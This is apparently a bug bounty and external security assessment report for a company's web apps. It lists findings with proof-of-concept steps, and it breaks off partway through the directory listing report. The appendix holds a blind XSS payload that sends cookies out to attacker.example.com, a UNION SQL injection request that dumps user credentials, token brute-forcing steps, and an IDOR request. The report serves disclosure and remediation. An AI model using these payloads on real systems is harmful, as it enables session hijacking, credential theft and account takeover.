

CONFIDENTIAL



External Security Assessment Report

Glacier Fury

April 29th, 2026

This report details the findings of our recent external security assessment of your environment. By simulating modern adversary tactics, Defend Iceland has identified key vulnerabilities that could impact your organization's resilience. Our goal is to provide clear, actionable guidance to assist your team in hardening defenses and ensuring a robust, secure digital footprint.

Table of Contents

1. Document Handling & Confidentiality	3
2. Assessment Overview	3
3. Assessment Methodology & Phases	3
4. Assessment Component	4
5. Finding Severity Ratings	5
6. Risk Factors	6
7. Program Description	6
8. Scope	7
9. Executive Summary	9
10. Findings	10
10.1. Vulnerability scan: report card	10
10.2 Bug bounty program: report card	11

Appendix: Reports

Blind Cross-Site Scripting (BXSS) in Administrative Feedback Portal	12
Critical SQL Injection (Union-Based) in Product Filtering Engine	15
Weak Password Recovery Mechanism via Predictable Security Tokens	19
Insecure Direct Object Reference (IDOR) in User Profile Update	22
Information Exposure Through an Error Message	25
Missing Cookie Flag (Secure)	28
Information Exposure Through Directory Listing	31
Missing Security Header (HSTS)	34

1. Document Handling & Confidentiality

This report contains sensitive security information about Glacier Fury's externally exposed assets and should be handled on a need-to-know basis only. The document is the property of Glacier Fury and Defend Iceland. Unauthorized redistribution, publication, or use of this report, in whole or in part, is not permitted without prior written approval from Glacier Fury and Defend Iceland. Glacier Fury may share this document with auditors or regulators under appropriate confidentiality arrangements to demonstrate its vulnerability management and assurance activities.

2. Assessment Overview

Glacier Fury operates a private bug bounty program on the Defend Iceland platform, focused on externally exposed assets. The program has been active since 24 April 2026. The community of Defenders has been growing steadily over time, increasing the diversity of techniques and perspectives applied to Glacier Fury's assets.

This report consolidates:

- Verified vulnerability reports submitted by Defenders against in-scope Glacier Fury assets.
- Results from an automated vulnerability scan and manual security assessment conducted by Defend Iceland starting on 22 April 2026.

The test is limited to externally exposed assets, based on a scope provided and maintained by Glacier Fury. Internal network testing, social engineering, and other out-of-scope activities were explicitly excluded in line with the program rules.

All testing activities were performed in good faith with the objective of identifying and validating security weaknesses that could impact the confidentiality, integrity, and availability of Glacier Fury's systems and data.

3. Assessment Methodology & Phases

The bug bounty program and supporting activities follow a structured approach aligned with industry best practices for vulnerability discovery and penetration testing. For the purposes of this report, the methodology is described in four phases:

Planning

- Glacier Fury defined the initial scope, rules, and constraints for the bug bounty program, including in-scope assets, prohibited activities, and out-of-scope vulnerability types.
- Defend Iceland onboarded Glacier Fury to the platform, configured the program, and invited selected Defenders.
- Rules of engagement were clearly communicated to Defenders, emphasizing safe testing, protection of user data, and avoidance of service disruption.

Discovery

- Defenders conducted reconnaissance and discovery using open-source intelligence, application interaction, and external scanning to understand Glacier Fury's exposed attack

surface.

- Defend Iceland executed an automated vulnerability scan on 22 April 2026 against the in-scope externally exposed assets.
- Potential weaknesses, misconfigurations, and anomalous behaviors identified during discovery were further analyzed by Defenders to determine exploitability and impact.

Attack

- Defenders attempted to safely exploit identified issues within the program rules (e.g., no social engineering, no service disruption, no pivoting into non-authorized networks).
- Exploitation efforts focused on demonstrating realistic impact (such as unauthorized access, privilege escalation, or data exposure) while minimizing risk to production systems.
- Where applicable, Defenders chained multiple lower-severity issues together to demonstrate a higher-impact scenario.
- Defend Iceland's triage team reviewed submitted reports, validated reproducibility, and coordinated clarification as required.

Reporting

- Verified findings were documented in structured vulnerability reports with clear reproduction steps, impact analysis, and remediation guidance.
- This consolidated report groups and normalizes those verified findings and the relevant, validated results from the automated vulnerability scan.
- Each finding includes a severity rating based primarily on business impact to Glacier Fury, supported by a CVSS v3.1 score as a reference, and a narrative explaining the risk in Glacier Fury's context.
- **Final severity ratings in this report have been reviewed and approved by Glacier Fury in collaboration with Defend Iceland.**

4. Assessment Component

The assessment for this reporting period consists of the following components:

Bug Bounty Program - External Assets

- Continuous testing by vetted Defenders targeting Glacier Fury's in-scope externally exposed assets.
- Real-world attack scenarios, including web application, API, mobile, and configuration-related vulnerabilities, exercised within the rules of the program.
- Ongoing triage by Defend Iceland to validate submissions and ensure quality, reproducibility, and accurate impact assessment.

Automated Vulnerability Scan and manual assessment

- A targeted external vulnerability scan of in-scope assets
- The scan serves as a complementary input, designed to flag known vulnerability signatures, common misconfigurations, and missing security patches.

- Scan findings may contain false positives; only those findings that could be reasonably validated manually and mapped to Glacier Fury's environment are included in this report.

5. Finding Severity Ratings

Defend Iceland uses CVSS v3.1 as a supporting reference, not as the sole determinant of severity. The final severity rating for each finding in this report is based primarily on business impact to Glacier Fury (including data sensitivity, regulatory exposure, and operational risk) and has been approved by Glacier Fury.

The following table describes the severity levels used throughout this report and their typical associated CVSS v3.1 score ranges for reference:

Severity	CVSS v3.1 Range	Definition
CRITICAL	9.0 - 10.0	Vulnerabilities that are straightforward to exploit or combine with minimal effort and are likely to result in significant compromise of systems or data (e.g., full account takeover, unrestricted remote code execution, or large-scale data exposure). Immediate remediation planning is strongly recommended.
HIGH	7.0 - 8.9	Vulnerabilities that are harder to exploit or have some preconditions but could still lead to elevated privileges, sensitive data exposure, or material service disruption. Prompt remediation is recommended.
MEDIUM	4.0 - 6.9	Vulnerabilities that may require specific conditions, user interaction, or chaining with other issues to achieve meaningful impact. These should be addressed after higher-severity issues, as part of normal remediation cycles.
LOW	0.1 - 3.9	Issues with limited or hard-to-realize security impact on their own but that may contribute to an attacker's understanding of the environment or reduce overall security posture. Remediation is recommended in line with maintenance and hardening efforts.
INFORMATIONAL	N/A	No direct vulnerability identified. Observations, configuration notes, and positive security controls recorded for situational awareness or future improvement.

Where present, the CVSS v3.1 base score and vector are included to provide a transparent, industry-standard reference point, but the narrative risk and business context prevail when determining the final severity.

6. Risk Factors

Risk is evaluated as a combination of likelihood and impact within Glacier Fury's specific context.

Likelihood

Likelihood reflects how feasible it is for an attacker to exploit a given vulnerability, considering:

- Complexity of the attack and prerequisites
- Availability of public exploits or tooling
- Required level of access or user interaction
- Visibility of the affected asset on the public internet
- Presence of compensating controls or monitoring

Impact

Impact reflects the potential **business and technical consequences** if the vulnerability were exploited, including:

- Confidentiality of affected data (e.g., personal, financial, or proprietary information)
- Integrity of data and transactions
- Availability of critical services
- Regulatory and contractual obligations
- Reputational impact and potential financial loss to Glacier Fury

The combination of these factors is used to justify the final severity rating for each finding, which has been agreed upon between Defend Iceland and Glacier Fury.

7. Program Description

During the engagement, all participating defenders operated under Glacier Fury's established rules and conditions for its private bug bounty program hosted on the Defend Iceland platform. These rules defined the authorized scope of testing, restrictions, disclosure requirements, and the boundaries under which all assessment activities were permitted.

Scope Definition

Testing was limited to the systems and assets explicitly designated as in-scope by Glacier Fury. Submissions referencing assets not listed were evaluated at the discretion of the program administrators. For mobile applications, Defenders were required to use only the latest official releases available in the Apple App Store or Google Play Store and to restrict backend testing to domains formally identified as in-scope.

Operational Requirements

Defenders were required to adhere to the following conditions throughout the assessment:

- Reports had to include sufficient detail and reproducible steps to allow validation of findings.
- Any encounter with Personally Identifiable Information (PII) required immediate notification and mandatory cessation of further access, including deletion of any locally stored data.

- Activities involving social engineering, denial-of-service, lateral movement, or interaction with third-party service providers were strictly prohibited.
- Each submission was limited to a single vulnerability unless chaining was necessary to demonstrate full impact.
- Duplicate findings were credited to the earliest valid submission.
- Individuals with conflicts of interest, including Glacier Fury employees and contractors, were ineligible for bounty rewards.

Out-of-Scope Categories

The program identified specific classes of findings that were not eligible for bounty consideration, such as issues with minimal impact, no practical exploitability, or limited security relevance. Examples included vulnerabilities affecting outdated browser versions, best-practice deviations without an attack vector, or findings dependent on unrealistic user-interaction scenarios. The complete list of excluded categories was defined in Glacier Fury's Bug Bounty Policy.

Disclosure and Confidentiality Requirements

As the program operated privately, Defenders were bound by confidentiality and responsible disclosure obligations. No information related to testing activities or identified vulnerabilities whether remediated or not was permitted to be shared externally without explicit authorization from Glacier Fury. Defenders were also required to follow Defend Iceland's general disclosure guidelines.

8. Scope

The following assets are in scope for vulnerability testing at the time of this report. For each asset, the table lists the type, scope status, maximum eligible severity, reward eligibility, and the effective date from which it became eligible.

In-Scope Assets

Asset Name	Type	Severity	Last Modified
*.glacier-fury.vercel.app	Wildcard	Critical	27.04.2026
*.ashy-hill-0b2bb8e03.7.azurestaticapps.net	Wildcard	Critical	29.04.2026
*.fjordmarket-app-e7dzcxbggra0a6dq.westeurope-01.azurewebsites.net	Wildcard	Critical	29.04.2026

Out-of-Scope Assets

No out-of-scope assets were listed.

9. Executive Summary

This external exposure assessment combined automated vulnerability scanning with crowdsourced testing through the bug bounty program to provide a broad and realistic view of the internet-facing risk.

The automated scanning activity primarily identified configuration and hardening weaknesses, along with several low-impact client-side behaviors that can contribute to security exposure when combined with other conditions. The results were predominantly informational in severity, indicating opportunities to improve baseline security hygiene rather than evidence of immediate compromise on their own. Notable themes included inconsistent enforcement of secure transport protections, responses that could be cached in ways that may be inappropriate for sensitive content, and browser-side handling patterns where user-supplied data is reflected or manipulated in the page context. The scan also highlighted certificate-related observations, including one item assessed at a higher severity than the rest of the automated findings.

The crowdsourced testing produced materially more significant outcomes, including the identification of a critical browser-executed injection condition affecting an administrative-facing workflow and a high-severity database injection weakness within a product filtering function. Additional high-severity findings indicated weaknesses in account recovery controls due to predictable token behavior, increasing the likelihood of unauthorized account access if exploited. A medium-severity access control issue demonstrated the potential for unauthorized modification of another user's data through direct object reference. Lower-severity reports included information disclosure through error handling and directory exposure, as well as missing protective cookie attributes and gaps in security header coverage, reinforcing the themes observed in the automated results.

Overall, the combined findings indicate that while many externally observable issues relate to security configuration and defensive consistency, the presence of multiple high-impact vulnerabilities identified through manual testing materially elevates the organization's external risk profile. The results suggest that the current external security posture includes exploitable weaknesses affecting core application logic and administrative functionality, alongside broader hardening gaps that, if left unaddressed, can increase the likelihood and impact of successful attacks.

10. Findings

This section presents the key security findings identified during the external exposure assessment. It brings together both automated scanning results and verified issues reported through the bug bounty program, providing a combined view of Glacier Fury's identified internet-facing risk.

10.1. Vulnerability scan: report card

The vulnerability scan report card summarises automated checks against Glacier Fury's internet-facing assets and shows how detected issues distribute across severity levels (informational, low, medium, high, and critical). The table below shows the numbers of issues identified in different categories. Issues are classified according to severity as High, Medium, Low, Information or False Positive. This reflects the likely impact of each issue for a typical organization. Issues are also classified according to confidence as Certain, Firm or Tentative. This reflects the inherent reliability of the technique that was used to identify the issue.

Severity/Confidence	Certain	Firm	Tentative	Total
CRITICAL	0	0	0	0
HIGH	0	0	0	0
MEDIUM	1	0	0	1
LOW	1	1	0	2
INFO	5	2	0	7

Finding	Severity
TLS certificate	MEDIUM
Client-side JSON injection (DOM-based)	LOW
Strict transport security not enforced	LOW
Cacheable HTTPS response	INFO
DOM data manipulation (DOM-based)	INFO
Frameable response (potential Clickjacking)	INFO
HTML does not specify charset	INFO
Input returned in response (reflected)	INFO
Robots.txt file	INFO
TLS certificate	INFO

10.2. Bug bounty program: report card

The following tables illustrate the vulnerabilities found by impact.

1	2	1	2	2
Critical	High	Medium	Low	Informational

Triage Findings

Finding	Severity
Blind Cross-Site Scripting (BXSS) in Administrative Feedback Portal	CRITICAL
Critical SQL Injection (Union-Based) in Product Filtering Engine	HIGH
Weak Password Recovery Mechanism via Predictable Security Tokens	HIGH
Insecure Direct Object Reference (IDOR) in User Profile Update	MEDIUM
Information Exposure Through an Error Message	LOW
Missing Cookie Flag (Secure)	LOW
Information Exposure Through Directory Listing	INFORMATIONAL
Missing Security Header (HSTS)	INFORMATIONAL

Appendix: Reports

This appendix contains an archive of historical reports, they are preserved in their original source format to ensure data integrity. Consequently, visual layouts and reporting structures may vary across different audit periods.

Blind Cross-Site Scripting (BXSS) in Administrative Feedback Portal	
Report ID	VRUSH-NU5781
Severity	Critical
Reported	29.04.2026
Impact	Successful exploitation allows attackers to execute arbitrary JavaScript in the browsers of privileged users, leading to session hijacking and unauthorized access to internal administrative resources.
Asset	*.fjordmarket-app-e7dzcxbggra0a6dq.westeurope-01.azurewebsites.net
CVSS 3.1	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Executive Summary

A Blind Cross-Site Scripting (BXSS) vulnerability was identified in the [AssetNameRedacted] application hosted on Azure. This flaw allows attackers to inject malicious scripts through public-facing forms, which are later executed in the browsers of privileged administrative users when they review submitted content in the internal dashboard. During testing, a crafted payload was submitted via the 'Contact Support' and 'Feedback' forms. When an administrator accessed the feedback review interface, the payload executed and exfiltrated sensitive session and application tokens to an external server controlled by the security researcher. This exposure enables attackers to hijack administrative sessions, access sensitive internal data, and potentially pivot further into the internal network. The vulnerability stems from insufficient sanitization and output encoding of user-supplied input, highlighting a significant risk to both operational integrity and data confidentiality.

Vulnerability Description

Blind Cross-Site Scripting (BXSS) is a variant of Cross-Site Scripting (XSS) where the attacker does not directly observe the execution of their payload. Instead, the malicious input is stored by the application and later rendered in a different context, often in the browser of an internal or privileged user such as an administrator. Unlike reflected or stored XSS, BXSS is particularly dangerous because the attacker may not have access to the target interface where the script executes, making detection and remediation more challenging. In this case, BXSS occurs when user-supplied data from public forms is stored without proper sanitization and subsequently rendered in the administrative dashboard, leading to script execution in a high-privilege context.

Technical Details

The vulnerability was discovered in the [AssetNameRedacted] application, specifically within the 'Contact Support' and 'Feedback' forms accessible to unauthenticated users. Inputs submitted via the 'Message Body' and 'User Agent' fields are stored in the backend database without adequate input validation or output encoding. When an administrator accesses the internal dashboard at the '/admin/feedback-view' endpoint to review these submissions, the stored data is rendered directly into the page's DOM. During testing, a JavaScript payload was injected into the 'Message Body' field. The payload was designed to execute an out-of-band (OOB) HTTP request to an attacker-controlled server, including the administrator's session cookies ('SessionID' and 'App_Internal_Token') as part of the request. The OOB server received the expected data, confirming that the script executed within the administrator's browser session. This demonstrates that an attacker can leverage this vulnerability to compromise administrative accounts and gain unauthorized access to sensitive internal resources.

Proof of Concept

To replicate the issue:

1. Navigate to the public 'Contact Support' or 'Feedback' form on [AssetNameRedacted].
2. In the 'Message Body' field, submit the following payload:

```
<script>fetch('https://attacker.example.com/?cookie=' + document.cookie)</script>
```

3. Submit the form. The payload is stored in the backend database.
4. Log in as an administrator and access the '/admin/feedback-view' dashboard to review

feedback submissions.

5. When the administrator views the malicious submission, the script executes in their browser context, sending their session cookies to the attacker's server.

During testing, the OOB server at 'attacker.example.com' received requests containing the 'SessionID' and 'App_Internal_Token' cookies, confirming successful exploitation of the BXSS vulnerability.

Fix Recommendation

Context-Aware Output Encoding: Apply robust output encoding to all user-supplied content rendered in the administrative dashboard, using a trusted library such as 'Ganss.XSS.HtmlSanitizer' for .NET to ensure only safe HTML is displayed.

Content Security Policy (CSP): Implement a strict CSP that disallows inline scripts and restricts script sources to trusted domains, reducing the risk of script execution even if malicious content is present.

Input Validation: Enforce strict server-side validation on all incoming data, allowing only expected characters and formats in form submissions to minimize the risk of malicious input being stored.

Critical SQL Injection (Union-Based) in Product Filtering Engine	
Report ID	VRUSH-0BUK7B
Severity	High
Reported	29.04.2026
Impact	An unauthenticated attacker can manipulate database queries to exfiltrate sensitive data (including user credentials and PII) and potentially modify or destroy database contents depending on database account privileges.
Asset	*.glacier-fury.vercel.app
CVSS 3.1	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Executive Summary

A SQL Injection vulnerability was identified in the product search functionality of [AssetNameRedacted] (hosted at [TargetLocationRedacted]) within the endpoint /api/v1/products/search. The application incorporates user-controlled input from the 'category' filter directly into a backend SQL query without adequate sanitization or parameterization. This allows an unauthenticated remote attacker to alter the intended database query logic and retrieve data outside the authorized scope. Testing confirmed that a UNION-based payload could return database metadata and contents from the users table, indicating that sensitive records such as usernames, password hashes, and email addresses can be exfiltrated. Given the demonstrated ability to access authentication-related data and potentially other business-critical tables, this issue represents a high risk to confidentiality, integrity, and availability and requires prompt remediation.

Vulnerability Description

SQL Injection (SQLi) is an injection vulnerability that occurs when an application constructs SQL statements by concatenating untrusted input into a query string, allowing an attacker to modify the query structure. Instead of being treated as data, attacker-supplied input is interpreted by the database as executable SQL. Depending on the query context and database permissions, SQLi can enable unauthorized reading of sensitive data (for example, user records and secrets), modification or deletion of data, authentication bypass, and in some cases execution of database administrative functions.

In this case, the product search filtering logic accepts a 'category' parameter and uses it in a dynamically constructed SQL statement. Because the input is not safely parameterized, an attacker can inject characters such as a single quote to terminate the intended string context and append additional SQL clauses (for example, UNION SELECT) to force the database to return arbitrary rows and columns from other tables.

Technical Details

The vulnerable functionality is exposed via an HTTP request to:

- URL: [https://\[TargetLocationRedacted\]/api/v1/products/search](https://[TargetLocationRedacted]/api/v1/products/search)
- Parameter: category

The backend implementation was observed (through behavior and response content during testing) to build SQL statements using raw string concatenation with the 'category' value. This pattern is vulnerable because the database receives a syntactically valid SQL statement that includes attacker-controlled tokens.

Abuse scenario observed during validation:

- 1) The attacker supplies a single quote (') to break out of the expected string literal used in the WHERE or filter clause.
- 2) The attacker appends a UNION SELECT statement that matches the column count and types of the original query.
- 3) The attacker comments out the remainder of the original query using SQL comment syntax (for example, --) to prevent syntax errors.

During testing, a UNION-based payload returned database metadata and user table contents, demonstrating that the application is executing unvalidated input within its data access layer. The presence of returned fields consistent with username, password, and email indicates that the database account used by the application has sufficient read access to

sensitive tables. If write permissions or elevated database features are also available to that account, the same injection point could potentially be extended to modify records, delete data, or leverage database-specific functions for further compromise.

Proof of Concept

The following steps replicate the issue against [AssetNameRedacted]. These steps assume the endpoint is reachable and that the application returns search results in a response body.

- 1) Send a baseline request to observe normal behavior:

```
GET /api/v1/products/search?category=shoes HTTP/1.1
Host: [TargetLocationRedacted]
Accept: application/json
```

Expected result: a normal JSON response containing product search results filtered by the provided category.

- 2) Send a UNION-based SQLi payload via the 'category' parameter:

```
GET /api/v1/products/search?category=%27%20UNION%20SELECT%20NULL,%20username,%20password,%20email,%20NULL%20FROM%20users--%20
HTTP/1.1
Host: [TargetLocationRedacted]
Accept: application/json
```

Decoded payload (as used during testing):

```
' UNION SELECT NULL, username, password, email, NULL FROM users--
```

- 3) Observe the response:

- Expected vulnerable behavior: the response includes data not associated with product search results, such as values consistent with usernames, password hashes, and email addresses from the users table.
- This confirms that the backend query is being altered by attacker input and that the database is returning rows from an arbitrary table.

Notes for reliable reproduction:

- UNION SELECT requires the injected SELECT to match the number of columns returned by the original query. The payload above demonstrates a working column alignment in the tested environment by using NULL placeholders.

- The trailing comment sequence (--) is used to ignore the remainder of the original SQL statement after the injected UNION clause.

Fix Recommendation

- **Use Parameterized Queries (Prepared Statements) Everywhere:** Replace all dynamic SQL string concatenation with parameterized queries (or a well-maintained ORM that uses prepared statements by default) for the /api/v1/products/search query path, ensuring the 'category' value is always bound as data and never interpreted as SQL.
- **Enforce Strict Server-Side Input Validation for 'category':** Apply allowlist validation (for example, only known category identifiers or slugs) and reject or normalize unexpected characters (quotes, comment markers, UNION keywords) before the value reaches the data access layer.
- **Reduce Database Account Privileges:** Configure the application database user with least privilege (for example, read-only access limited to required tables for search) and disable or restrict high-risk database features where applicable (for example, administrative stored procedures and file/system access), limiting blast radius if injection is attempted.

Weak Password Recovery Mechanism via Predictable Security Tokens

Report ID	VRUSH-KYRP5N
Severity	High
Reported	29.04.2026
Impact	Attackers can gain unauthorized access to any user account, including administrators, resulting in account takeover and exposure of sensitive data.
Asset	*.ashy-hill-0b2bb8e03.7.azurestaticapps.net
CVSS 3.1	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Executive Summary

A high-severity security flaw was discovered in the password recovery process of [AssetNameRedacted]. The application generates password reset tokens using a predictable combination of the user's email address and a low-entropy Unix timestamp, both of which are easily guessable. This approach enables attackers to programmatically predict or brute-force valid reset tokens for any user account, including privileged accounts, without needing access to the user's email. The absence of rate-limiting or account lockout on the token validation endpoint further increases the risk of automated attacks. As a result, attackers can gain unauthorized access to user accounts, compromise sensitive data, and potentially escalate privileges within the application.

Vulnerability Description

Broken Authentication refers to flaws in an application's authentication mechanisms that allow attackers to compromise user identities, bypass authentication controls, or assume the identities of other users. A common manifestation of this weakness is a poorly implemented password recovery mechanism, where reset tokens are generated in a predictable or insecure manner. In this case, the password reset functionality of [AssetNameRedacted] creates tokens by concatenating the user's email address with a Unix timestamp and encoding the result in Base64. Because both the email and timestamp are predictable, attackers can reconstruct or brute-force valid tokens, undermining the security of the password reset process and enabling unauthorized account access.

Technical Details

The password reset endpoint at `/auth/forgot-password` issues a reset token to users who request a password change. Analysis of multiple tokens revealed a consistent structure: each token is a Base64-encoded string derived from the user's email address and a Unix timestamp (e.g., `base64(user@example.com:1714418485)`). Since the timestamp is generated with low entropy and the server clock is synchronized, an attacker can initiate a password reset for a target user and, within a narrow time window, enumerate possible timestamps to generate the correct token. The lack of rate-limiting or account lockout on the token validation endpoint allows attackers to automate this process, making brute-force attacks feasible. This vulnerability enables attackers to reset passwords for arbitrary users, including administrators, without requiring access to their email accounts.

Proof of Concept

To replicate the vulnerability:

1. Identify the target user's email address (e.g., `user@example.com`).
2. Initiate a password reset request for the target user via the `/auth/forgot-password` endpoint.
3. Observe the approximate time the request is made and note the current Unix timestamp (e.g., `1714418485`).
4. Generate candidate tokens by concatenating the email address and plausible timestamps within a short window (e.g., `user@example.com:1714418485`, `user@example.com:1714418486`, etc.).
5. Encode each candidate string using Base64 (e.g., `dXNlckBleGFtcGxlMnVbToxNzE0NDE4NDg1`).

6. Submit each token to the password reset confirmation endpoint.
7. Upon successful validation, set a new password for the target account, thereby gaining unauthorized access.

No rate-limiting or lockout controls are present, so this process can be automated to rapidly brute-force valid tokens.

Fix Recommendation

Use Cryptographically Secure Token Generation: Refactor the password reset mechanism to generate tokens using a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG), such as the 'RandomNumberGenerator' class in .NET, producing at least 32 bytes of entropy. **Store Hashed Tokens with Expiry:** Store only a SHA-256 hash of the reset token in the database, associate it with a strict expiration time (e.g., 15–30 minutes), and invalidate the token immediately after use. **Implement Rate-Limiting and Lockout:** Apply strict rate-limiting and account lockout policies to both the password reset request and token validation endpoints to prevent automated brute-force attacks.

Insecure Direct Object Reference (IDOR) in User Profile Update

Report ID	VRUSH-6COLLE
Severity	Medium
Reported	29.04.2026
Impact	Attackers can modify the profile details of any user, potentially leading to account takeover and unauthorized access.
Asset	*.glacier-fury.vercel.app
CVSS 3.1	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Executive Summary

A security researcher identified an Insecure Direct Object Reference (IDOR) vulnerability in the user profile management endpoint of [CustomerNameRedacted]'s application. The vulnerability allows any authenticated user to modify the profile details of other users by altering the user ID parameter in API requests. For example, by changing the numeric user ID in a profile update request, an attacker can update another user's email address and display name. This flaw exposes all user accounts to unauthorized modification, potentially enabling attackers to take over accounts by redirecting password reset flows to email addresses under their control.

Vulnerability Description

An Insecure Direct Object Reference (IDOR) is a type of access control vulnerability that occurs when an application exposes a reference to an internal object, such as a file, database record, or user account, without proper authorization checks. Attackers can manipulate these references to access or modify resources belonging to other users. In this case, the vulnerability is present in the user profile management endpoint, where the application relies on a user-supplied identifier to determine which user record to update, but fails to verify that the authenticated user is authorized to perform actions on the specified record.

Technical Details

The vulnerability was discovered in the endpoint `PUT /api/v1/users/update/{user_id}`. This endpoint accepts a numeric user ID as a path parameter and updates the corresponding user's profile information. During testing, a security researcher authenticated as a standard user and crafted a request targeting a different user's ID. The server processed the request and updated the email and display name of the target account, indicating that no object-level authorization check was performed. The backend logic trusts the user ID provided in the URL, rather than validating that the session owner is authorized to modify the specified user record. This allows any authenticated user to modify the profile details of any other user on the platform.

Proof of Concept

To replicate the issue, follow these steps:

1. Authenticate as a standard user and obtain a valid session token or cookie.
2. Identify your own user ID and another user's ID (e.g., by incrementing the ID value or through enumeration).
3. Craft a PUT request to the endpoint, substituting the target user's ID in the URL:

```
PUT /api/v1/users/update/1234
Authorization: Bearer [valid_token]
Content-Type: application/json

{
  "email": "attacker@example.com",
  "display_name": "Attacker"
}
```

4. Send the request. Observe that the email and display name for user ID 1234 are updated, even though the authenticated user does not own this account.

No secondary authorization check is performed to ensure that the session owner matches the user record being modified.

Fix Recommendation

Implement Object-Level Authorization: Ensure the backend verifies that the authenticated user is authorized to modify the specified user record before processing profile updates.

Use Session-Derived Identifiers: Retrieve the user ID from the secure session token (such as JWT or cookie) rather than accepting it from client-supplied parameters in the URL or request body.

Conduct Security Testing: Regularly perform access control testing on all endpoints that reference user-controlled identifiers to detect and remediate IDOR vulnerabilities.

Information Exposure Through an Error Message

Report ID	VRUSH-LJE5MW
Severity	Low
Reported	29.04.2026
Impact	Attackers can use the exposed technical details to identify and exploit vulnerabilities in the application's underlying components.
Asset	*.glacier-fury.vercel.app
CVSS 3.1	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Executive Summary

The application exposes sensitive technical information through verbose error messages when handling malformed requests. For example, submitting a non-JSON payload to the POST /api/v1/data endpoint results in a 500 Internal Server Error response that includes internal stack traces, file paths, and library version details. This level of detail reveals the underlying Node.js runtime, specific framework versions, and the server's directory structure. Such disclosures can significantly aid attackers in identifying and exploiting known vulnerabilities associated with the exposed technologies.

Vulnerability Description

Information Exposure Through an Error Message (CWE-209) occurs when an application reveals sensitive internal information in its error responses. This can include stack traces, file paths, configuration details, or software versions. Attackers can leverage this information to better understand the application's architecture, identify potential vulnerabilities, and craft targeted attacks. In this case, the application returns detailed stack traces and environment metadata in response to malformed requests, exposing internal implementation details to unauthenticated users.

Technical Details

During testing, the security researcher sent a non-JSON payload to the POST /api/v1/data endpoint. Instead of returning a generic error message, the server responded with a 500 Internal Server Error. The response body included a full stack trace, revealing the local file path structure (e.g., /var/task/node_modules/...), specific library versions, and confirmation of the Node.js runtime and framework in use. This behavior indicates that the application does not properly sanitize or suppress error output before returning it to the client, thereby exposing internal technical details.

Proof of Concept

To replicate the issue:

1. Send a malformed (non-JSON) payload to the POST /api/v1/data endpoint, for example:

```
curl -X POST https://[AssetNameRedacted]/api/v1/data -H "Content-Type: application/json" -d 'not a json payload'
```

2. Observe the server's response. The HTTP status code will be 500 Internal Server Error, and the response body will contain a stack trace similar to:

```
Error: Unexpected token n in JSON at position 0
    at JSON.parse (<anonymous>)
    at /var/task/node_modules/app/controllers/data.js:45:23
    ...
```

This output exposes the server's file path structure and the use of specific Node.js modules and versions.

Fix Recommendation

Implement Generic Error Handling: Configure the application to return generic error messages to clients, avoiding disclosure of stack traces or internal details. **Log Errors Internally:** Ensure detailed error information is logged to a secure, internal logging service for troubleshooting by authorized personnel only. **Review and Test Error Responses:** Regularly review and test error handling mechanisms to confirm that sensitive information is not exposed in any client-facing responses.

Missing Cookie Flag (Secure)

Report ID	VRUSH-R7K7QJ
Severity	Low
Reported	29.04.2026
Impact	An attacker with access to the same network can intercept session cookies and impersonate users.
Asset	*.glacier-fury.vercel.app
CVSS 3.1	CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Executive Summary

Sensitive session cookies, specifically the 'auth_token', are being transmitted without the 'Secure' flag set. This configuration allows browsers to send these cookies over unencrypted HTTP connections, exposing them to interception by attackers on the same network. For example, if a user accesses [AssetNameRedacted] via an unsecured Wi-Fi network or is tricked into using an HTTP connection, their session token could be captured and used for unauthorized access. This issue increases the risk of session hijacking and compromises user confidentiality.

Vulnerability Description

A missing cookie flag vulnerability occurs when a web application sets cookies without specifying security-related attributes, such as the 'Secure' flag. The 'Secure' attribute instructs browsers to only send the cookie over HTTPS connections, preventing its exposure over unencrypted channels. Without this flag, cookies may be transmitted in plaintext over HTTP, making them susceptible to interception by attackers monitoring network traffic. In this case, the 'auth_token' session cookie is set without the 'Secure' flag, allowing it to be transmitted over both HTTP and HTTPS connections.

Technical Details

During analysis of [AssetNameRedacted], the security researcher observed that the HTTP response headers included a Set-Cookie directive for 'auth_token' without the 'Secure' attribute. This means that if a user accesses the application over an HTTP connection, or if an attacker performs a protocol downgrade attack, the browser will transmit the session cookie in cleartext. This behavior was confirmed by capturing network traffic while accessing the application over HTTP, where the 'auth_token' was visible in the request headers. The absence of the 'Secure' flag directly exposes session tokens to interception on untrusted networks.

Proof of Concept

To replicate the vulnerability:

1. Access [AssetNameRedacted] over an HTTP connection (e.g., `http://[AssetNameRedacted]`).
2. Authenticate as a valid user to receive the session cookie.
3. Observe the HTTP response headers:

```
Set-Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...;  
Path=/; HttpOnly
```

Note that the 'Secure' attribute is missing. 4. Use a network traffic analysis tool (such as Wireshark) on the same network to capture HTTP requests. The 'auth_token' will be visible in plaintext in the Cookie header of subsequent requests:

```
Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

This demonstrates that an attacker with network access can intercept the session cookie

and potentially hijack the user's session.

Fix Recommendation

Set the 'Secure' Attribute on Cookies: Configure the backend to set the 'Secure' flag on all session and sensitive cookies, ensuring they are only transmitted over HTTPS. **Enforce HTTPS Across the Application:** Redirect all HTTP traffic to HTTPS to prevent protocol downgrade attacks and ensure all data, including cookies, is encrypted in transit. **Regularly Audit Cookie Settings:** Periodically review cookie configurations to ensure all security attributes, such as 'Secure' and 'HttpOnly', are properly set.

Information Exposure Through Directory Listing

Report ID	VRUSH-3GDKRG
Severity	Informational
Reported	29.04.2026
Impact	Directory listing exposes all files within a directory, increasing the risk of sensitive or unreferenced assets being discovered and potentially exploited.
Asset	*.glacier-fury.vercel.app
CVSS 3.1	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Executive Summary

